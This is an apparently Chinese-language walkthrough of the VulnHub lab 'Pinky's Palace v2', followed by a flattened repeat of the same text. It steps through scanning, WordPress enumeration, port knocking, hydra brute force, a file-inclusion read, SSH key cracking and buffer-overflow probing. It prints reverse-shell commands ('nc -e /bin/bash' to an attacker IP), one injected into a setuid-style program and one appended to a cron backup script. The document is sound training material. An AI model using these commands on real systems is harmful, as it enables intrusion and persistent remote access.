VulnHub-Pinky’s Palace: v2-靶机渗透学习
字数 1195 2025-08-15 21:33:24

Pinky’s Palace: v2 靶机渗透教学文档

靶机概述

  • 难度等级:中级(CTF)
  • 发布日期:2018年3月18日
  • 目标:获取root权限并找到flag.txt
  • 描述:一个现实的Boot2Root挑战,需要获得系统访问权限并读取/root/root.txt
  • 特殊说明:WordPress将无法正确呈现,需要修改hosts文件

初始设置

  1. 修改hosts文件
    echo 192.168.x.x pinkydb | sudo tee -a /etc/hosts
    

信息收集

1. Nmap扫描

nmap -sV -p- 192.168.x.x

发现端口

  • 80/tcp: HTTP (WordPress 4.9.4)
  • 4655/tcp: 关闭
  • 7654/tcp: 关闭
  • 31337/tcp: 关闭

2. WordPress枚举

使用WPScan枚举用户:

wpscan --url http://pinkydb/ --enumerate u --api-token 'API'

发现用户:pinky1337

3. 目录爆破

使用dirb或gobuster:

dirb http://pinkydb/

发现目录:/secret/ 包含bambam文件

端口敲门

  1. 分析bambam文件:包含端口号8890, 7000, 666
  2. 生成排列组合(Python脚本):
    from itertools import combinations, permutations
    print(list(permutations([8890,7000,666])))
    
  3. 执行敲门
    #!/bin/bash
    while read -r line
    do
      echo knock -v 192.168.16.147 $line
    done < /tmp/knock.txt
    

敲门后端口状态

  • 4655/tcp: SSH
  • 7654/tcp: HTTP (nginx)
  • 31337/tcp: 未知服务

Web应用渗透

1. 7654端口Web应用

  1. 生成字典
    cewl http://pinkydb/ -w /tmp/cs.txt
    
  2. 暴力破解登录
    hydra -L name.txt -P cs.txt pinkydb -s 7654 http-post-form "/login.php:user=^USER^&pass=^PASS^:F=Invalid"
    

获取凭证

  • pinky/Passione
  • pinky1337/Pinky

2. 文件包含漏洞

发现RFI漏洞:

http://pinkydb:7654/pageegap.php?1337=etc/passwd

权限提升路径

1. 初始访问

  1. 使用pinky用户登录
  2. 获取stefano用户的SSH私钥

2. 破解SSH私钥

  1. 转换私钥格式
    python ssh2john.py id_rsa > id_rsa.txt
    
  2. 破解密码
    john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa.txt
    
    获取密码:secretz101

3. 利用qsub程序

  1. 分析qsub程序

    • 位于tools目录
    • 所属组为www-data
    • 执行权限但无读写权限
  2. 利用RFI读取程序

    http://pinkydb:7654/pageegap.php?1337=tools/qsub
    
  3. 执行反弹shell

    ./qsub '$(nc -e /bin/bash 192.168.16.143 6666)'
    

    获取pinky权限

4. 利用备份脚本

  1. 发现备份脚本

    find / -name 'backup.sh' 2>/dev/null
    

    位于/usr/local/bin/backup.sh

  2. 修改脚本添加反弹shell

    echo 'nc -e /bin/bash 192.168.16.143 7777' >> /usr/local/bin/backup.sh
    

    等待定时任务执行获取demon用户shell

5. 分析panel程序

  1. 发现panel程序

    ps uax | grep panel
    find / -name 'panel' 2>/dev/null
    
  2. 传输程序分析

    # Kali接收
    nc -lvp 4666 > panel
    # 靶机发送
    nc 192.168.16.143 4666 < panel
    
  3. GDB调试

    gdb ./panel
    info functions  # 发现使用strcpy函数
    
  4. 缓冲区溢出分析

    • 确定溢出点:113字符开始
    • 测试精确位置:
      echo $(python -c "print 'a' * 113") | nc 192.168.16.143 31337
      
  5. GDB调试设置

    set follow-fork-mode child
    set detach-on-fork off
    

总结与学习点

  1. 关键学习点

    • 端口敲门技术
    • WordPress用户枚举
    • SSH私钥破解
    • 文件包含漏洞利用
    • 定时任务利用
    • 缓冲区溢出漏洞分析
  2. 未完成部分

    • 缓冲区溢出利用最终阶段
    • 获取root权限的最后步骤
  3. 推荐学习资源

    • 缓冲区溢出深入分析:https://blog.csdn.net/qq_34801745/article/details/104070421

后续学习建议

  1. 深入学习缓冲区溢出原理
  2. 练习ROP链构造
  3. 研究ASLR和NX bypass技术
  4. 尝试完成最后的root提权
Pinky’s Palace: v2 靶机渗透教学文档 靶机概述 难度等级 :中级(CTF) 发布日期 :2018年3月18日 目标 :获取root权限并找到flag.txt 描述 :一个现实的Boot2Root挑战,需要获得系统访问权限并读取/root/root.txt 特殊说明 :WordPress将无法正确呈现,需要修改hosts文件 初始设置 修改hosts文件 : 信息收集 1. Nmap扫描 发现端口 : 80/tcp: HTTP (WordPress 4.9.4) 4655/tcp: 关闭 7654/tcp: 关闭 31337/tcp: 关闭 2. WordPress枚举 使用WPScan枚举用户: 发现用户 :pinky1337 3. 目录爆破 使用dirb或gobuster: 发现目录 :/secret/ 包含bambam文件 端口敲门 分析bambam文件 :包含端口号8890, 7000, 666 生成排列组合 (Python脚本): 执行敲门 : 敲门后端口状态 : 4655/tcp: SSH 7654/tcp: HTTP (nginx) 31337/tcp: 未知服务 Web应用渗透 1. 7654端口Web应用 生成字典 : 暴力破解登录 : 获取凭证 : pinky/Passione pinky1337/Pinky 2. 文件包含漏洞 发现RFI漏洞: 权限提升路径 1. 初始访问 使用pinky用户登录 获取stefano用户的SSH私钥 2. 破解SSH私钥 转换私钥格式 : 破解密码 : 获取密码 :secretz101 3. 利用qsub程序 分析qsub程序 : 位于tools目录 所属组为www-data 执行权限但无读写权限 利用RFI读取程序 : 执行反弹shell : 获取pinky权限 4. 利用备份脚本 发现备份脚本 : 位于/usr/local/bin/backup.sh 修改脚本添加反弹shell : 等待定时任务执行获取demon用户shell 5. 分析panel程序 发现panel程序 : 传输程序分析 : GDB调试 : 缓冲区溢出分析 : 确定溢出点:113字符开始 测试精确位置: GDB调试设置 : 总结与学习点 关键学习点 : 端口敲门技术 WordPress用户枚举 SSH私钥破解 文件包含漏洞利用 定时任务利用 缓冲区溢出漏洞分析 未完成部分 : 缓冲区溢出利用最终阶段 获取root权限的最后步骤 推荐学习资源 : 缓冲区溢出深入分析:https://blog.csdn.net/qq_ 34801745/article/details/104070421 后续学习建议 深入学习缓冲区溢出原理 练习ROP链构造 研究ASLR和NX bypass技术 尝试完成最后的root提权